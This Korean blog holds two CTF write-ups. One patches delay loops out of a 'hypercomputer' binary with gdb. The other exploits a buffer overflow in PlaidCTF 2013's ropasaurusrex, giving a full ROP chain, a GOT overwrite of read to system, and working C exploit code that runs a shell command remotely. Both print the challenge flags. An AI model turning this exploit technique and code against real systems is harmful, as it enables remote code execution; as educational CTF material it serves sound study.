먼저 실행을 하면 느릿느릿하게 문자열 2줄을 출력하고 멈쳐진듯 보여집니다.


$ ./hypercomputer
...Welcome to Hypercomputer!...
...This could take a very long time...


코드를 살펴보니 군데군데에 usleep 함수가 보입니다.

혹시 이 usleep 함수때문인가? 하고 디버거로 usleep 함수를 건너뛰도록 하였습니다.


(gdb) disas usleep
Dump of assembler code for function usleep:
=> 0x00007ffff78937d0 <+0>:     mov    %edi,%eax
   0x00007ffff78937d2 <+2>:     mov    $0x431bde83,%edx
   0x00007ffff78937d7 <+7>:     sub    $0x18,%rsp
   0x00007ffff78937db <+11>:    mul    %edx
   0x00007ffff78937dd <+13>:    xor    %esi,%esi
   0x00007ffff78937df <+15>:    shr    $0x12,%edx
   0x00007ffff78937e2 <+18>:    mov    %edx,%eax
   0x00007ffff78937e4 <+20>:    imul   $0xf4240,%edx,%edx
   0x00007ffff78937ea <+26>:    mov    %rax,(%rsp)
   0x00007ffff78937ee <+30>:    sub    %edx,%edi
   0x00007ffff78937f0 <+32>:    imul   $0x3e8,%rdi,%rdi
   0x00007ffff78937f7 <+39>:    mov    %rdi,0x8(%rsp)
   0x00007ffff78937fc <+44>:    mov    %rsp,%rdi
   0x00007ffff78937ff <+47>:    callq  0x7ffff7865ba0 
   0x00007ffff7893804 <+52>:    add    $0x18,%rsp
   0x00007ffff7893808 <+56>:    retq
End of assembler dump.


usleep 함수가 실행되면 함수처음부분<usleep+0> 이 아닌 마지막부분<usleep+56> 을 실행하기 위해 

usleep GOT 값을 usleep 의 ret 명령어 까지의 거리만큼 더해준 값으로 바꾸어 주었습니다.


(gdb) x/wx 0x607070
0x607070 < usleep@got.plt >:      0xf78937d0
(gdb) x/wx 0x607070
0x607070 < usleep@got.plt >:      0xf78937d0
(gdb) set *0x607070 = 0xf7893808
(gdb) x/wx 0x607070
0x607070 < usleep@got.plt >:      0xf7893808


그다음 계속 진행하였으나 역시 2줄 출력후 멈춰있습니다.

프로그램을 중단시킨 후 어디서 실행중인것인지를 살펴보았습니다.


(gdb) c
Continuing.
...Welcome to Hypercomputer!...
...This could take a very long time...
^C
Program received signal SIGINT, Interrupt.
0x0000000000400b75 in ?? ()
(gdb) bt
#0  0x0000000000400b75 in ?? ()
#1  0x000000000040165a in ?? ()
#2  0x00007ffff77d630d in __libc_start_main ()
   from /lib/x86_64-linux-gnu/libc.so.6
#3  0x00000000004007a9 in ?? ()
#4  0x00007fffffffec38 in ?? ()
#5  0x000000000000001c in ?? ()
#6  0x0000000000000001 in ?? ()
#7  0x00007fffffffee4b in ?? ()
#8  0x0000000000000000 in ?? ()


마지막 실행 위치의 코드를 살펴보면 아래와 같습니다.

실행중이던 위치의 코드를 살펴보면 특정값이 될 때까지 레지스터에 값을 하나하나 증가시키고 있습니다...

이 과정에서 또한 시간을 지체하므로 jne 명령어를 jmp 로 바꺼버려 루프를 바로 탈출하도록 하였습니다.


(gdb)  x/37i 0x400b38
   0x400b38:    cmp    %rcx,%rax
   0x400b3b:    jne    0x400b34
   0x400b3d:    imul   %rsi,%rdx
   0x400b41:    jmp    0x400b57
   0x400b43:    add    $0x1,%rax
   0x400b47:    cmp    %rdx,%rax
   0x400b4a:    jne    0x400b43
   0x400b4c:    imul   %rsi,%rdx
   0x400b50:    jmp    0x400b57
   0x400b52:    mov    $0x0,%edx
   0x400b57:    mov    %rdx,0x8(%rbx)
   0x400b5b:    jmp    0x400ba5
   0x400b5d:    mov    0x10(%rbx),%rcx
   0x400b61:    mov    %rcx,%rdi
   0x400b64:    add    %rdx,%rdi
   0x400b67:    je     0x400b7a
   0x400b69:    mov    %rdi,%rdx
   0x400b6c:    mov    $0x0,%eax
   0x400b71:    add    $0x1,%rax
   0x400b75:    cmp    %rdx,%rax
   0x400b78:    jne    0x400b71
   0x400b7a:    sar    %rdi
   0x400b7d:    mov    %rdi,(%rbx)
   0x400b80:    add    %rsi,%rcx
   0x400b83:    je     0x400b96
   0x400b85:    mov    %rcx,%rdx
   0x400b88:    mov    $0x0,%eax
   0x400b8d:    add    $0x1,%rax
   0x400b91:    cmp    %rdx,%rax
   0x400b94:    jne    0x400b8d
   0x400b96:    sar    %rcx
   0x400b99:    mov    %rcx,0x8(%rbx)
   0x400b9d:    mov    %rbx,%rdi
   0x400ba0:    callq  0x400af3
   0x400ba5:    pop    %rbx
   0x400ba6:    retq


이 함수(0x400af3)에는 이런 형식의 의미없는 연산 루프가 3개가 있으며 해당위치는 

위에 강조된 ( 0x400b4a, 0x400b78, 0x400b94 ) 곳과 같습니다.


이 3개의 jnz 명령어를 모두 jmp 명령어로(0xeb, 0x00) 바꾸어 주어 루프를 돌지 않도록 하였습니다.


(gdb) x/10bx 0x400b4a
0x400b4a:       0x75    0xf7    0x48    0x0f    0xaf    0xd6    0xeb    0x05
0x400b52:       0xba    0x00
(gdb) set {short}0x400b4a=0x00eb
(gdb) x/10bx 0x400b4a
0x400b4a:       0xeb    0x00    0x48    0x0f    0xaf    0xd6    0xeb    0x05
0x400b52:       0xba    0x00


위와 같은 방법으로 3개 루프 모두 바꿔주어 실행을 하니 답이 나왔습니다.


key : Y0uKn0wH0wT0Sup3rButCanY0uHyp3r





Posted by limsy


바이너리는 매우 간단합니다. 실행시 입력을 한번 받은 후 "WIN" 출력하고 종료합니다.

바이너리 분석 결과 0x080483f4 함수에서 BOF 취약점이 존재하며 이를 디스어셈블한 코드는 아래와 같습니다.

read 함수를 통해 ebp-88h 지점으로부터 최대 0x100 바이트만큼 입력을 받아 BOF 가 가능하게 됩니다.



key 값을 읽어오기 위해 ROP 를 이용하여 GOT Overwrite 를 하였습니다.

GOT Overwrite 대상으로는 read 함수로 하였으며 이 값을 system 함수의 값으로 변경하였습니다.


# 문제 풀이 순서는 아래와 같습니다.

 0. (준비작업) custom stack 에 아래 1,2,3 번의 페이로드 입력

 1. read함수의 GOT 값을 바꾸기 위해 필요한 코드조각(가젯) 찾기

 2. 문제와 같이 제시된 libc.so.6 파일을 참고해 read 함수와 system 함수의 offset 계산

 3. read@plt 호출을 통해 system 함수 실행


#0. custom stack 에 아래 1,2,3 페이로드 복사 및 실행

#1, #2, #3 을 위한 페이로드의 원활한 작동을 위해 고정된 스택이 필요했습니다. 

그래서 .data 섹션의 임의의 곳을 custom stack 위치로 선택하였습니다.( 0x08049629 )


이 custom stack 에 1,2,3 을 위한 페이로드를 복사하기 위해,

read 함수를 한번 더 임의로 호출하여 페이로드를 입력받아 custom stack 에 씌여지도록 하였습니다. 

그 다음 스택 정리를 위한 가젯과 custom_stack 으로 스택포인터를 이동할 leave 가젯을 호출하도록 하였습니다. 

이를 위한 페이로드 구성은 아래와 같습니다.( read 함수 호출 + 스택 정리 + custom_stack 으로 스택포인터 변경 )




#1. read함수의 GOT 값을 바꾸기 위해 필요한 코드조각(가젯) 찾기

원하는 가젯 코드조각을 수작업으로 찾는건 한계가 있어, 인터넷을 열심히 찾아본 결과 ropshell 이라는 것을 찾아 이것을 이용하였습니다. 이는 아래주소에서 받을 수 있습니다.

http://www.vnsecurity.net/2010/08/ropeme-rop-exploit-made-easy/

이를 통해 찾아 사용한 가젯은 아래와 같습니다.


#0 에서 사용한 가젯

0x080484b5, pop ebx ; pop esi ; pop edi ; pop ebp ;;

   read 함수 호출 후 스택 정리 및 ebp 에 custom_stack 주소 입력을 위한 가젯

0x080482ea, leave ;;

   custom_stack 으로 스택포인터 변경을 위한 가젯   


#1 에서 사용한 가젯

0x080482e8, pop eax ; pop ebx ; leave;;

   아래 add 가젯을 위한 eax, ebx, 레지스터 값 설정

0x080483be, add [ebx+0x5d5b04c4] eax;;

   ebx+0x5d5b04c4 가 read 함수의 GOT 를 가리키도록 한 후 eax 의 offset ( system - read ) 값을 통해 변경


#2. 문제와 같이 제시된 libc.so.6 파일을 참고해 read 함수와 system 함수의 offset 계산

#1 의 마지막 가젯에서 ebx+0x5d5b04c4 가 read의 GOT 주소를 갖게 하기 위해, ebx 값을 구해야 합니다.

read 함수의 GOT 위치는 0x804961c 이므로 ebx 레지스터 값 = 0x804961c - 0x5d5b04c4 = 0xAAA99158


그다음 read 함수의 GOT 에 offset 값을 더해 system 함수를 가리키도록 해야합니다. libc.so.6 을 참고하면

read + offset = system

eax 레지스터 값 = offset = system - read = 0x39450 - 0xbf110 = 0xFFF7A340


#3. read@plt 호출을 통해 system 함수 실행

#1, #2 가 수행되면 read@plt 함수를 호출 시 system 함수가 실행되게 됩니다. 

system 함수가 제대로 실행되기 위해서 스택을 아래와 같이 구성해 주어야 합니다.

[system 함수포인터][return address][system 인자(command 포인터)][command]


#1, #2, #3 를 위한 페이로드가 스택에 위치한 모습은 아래와 같습니다.




# 마무리

#0 을 위한 페이로드를 Payload1 이라 하고 #1,2,3 을 위한 Payload2 라 했을때

프로그램의 첫번째 입력에서는 payload1 을 입력하고, payload1 에 의해 다시 한번 read 함수가 호출이 되면 payload2 를 입력하여 cumstom_stack 에 payload2 값을 주입한 후 가젯들의 실행에 의해 system 함수가 실행되게 됩니다.


처음 program 의 read 함수에 의해 256(0x100) 바이트가 읽히게 되며, 만약 256 바이트 이상으로 입력하게 되면 256 바이트 이후의 값들은 두번째 read 함수에 읽히게 됩니다. 이를 이용하여 payload1 과 payload2, command 를 하나로 묶어 한번에 입력할 것이며, 합쳐진 페이로드의 구성은 아래 그림과 같습니다.




# 페이로드 구성 및 전송 코드

아래 코드는 하나로 합쳐진 payload 를 만들어 전송하여 원하는 command 를 실행 후 결과를 받아 출력하는 코드입니다.

command 길이의 변화에 따라 payload1[4] 의 값이 변해야 하므로, 아래 코드에서 자동으로 계산하여 변경하도록 하였습니다.


아래코드에서 원하는 command 명령 값만 수정 후 컴파일하여 실행하면 됩니다.

void plaid_ropasaurusrex( SOCKET hSock /* windows socket handle */ )
{
	char buffer[1024] = "";			//< network buffer

	unsigned int payload1[] = { 0x0804832c, 0x080484b5, 0x00000000, 0x08049629, 0x00000051, 0x08049629, 0x080482ea };
	unsigned int payload2[] = { 0x08049639, 0x080482e8, 0xFFF7A340, 0xAAA99158, 0x08049651, 0x080483be, 0x0804832c, 0x0804964d, 0x0804964d };
	unsigned char command[] = "cat /home/ropasaurusrex/key";

	// 1. payload1[4] 수정 : payload2+command 의 크기
	payload1[4] = sizeof(payload2)+sizeof(command);

	// 2. buffer 에 NOP 140 Bytes 채우기
	memset( buffer, 0x90, 140 );

	// 3. buffer 에 payload1 추가 및 0x100 크기의 나머지 채우기
	memcpy( buffer+140, payload1, sizeof(payload1) );
	memset( buffer+140+sizeof(payload1), 0x90, 0x100-140-sizeof(payload1) );

	// 4. buffer 에 payload2 추가
	memcpy( buffer+0x100, payload2, sizeof(payload2) );

	// 5. buffer 에 command 추가
	memcpy( buffer+0x100+sizeof(payload2), command, sizeof(command) );

	// 6. send data
	send( hSock, buffer, 0x100+sizeof(payload2)+sizeof(command), 0 );
	
	// 7. recv data & print
	int len = recv( hSock, buffer, sizeof(buffer), 0 );
	buffer[len] = 0;
	printf( "Recv Data(%d bytes)\n%s\n", len, buffer );
}


# 풀이 전체 코드

plaid2013_ropasaurusrex.cpp


# key

you_cant_stop_the_ropasaurusrex


Posted by limsy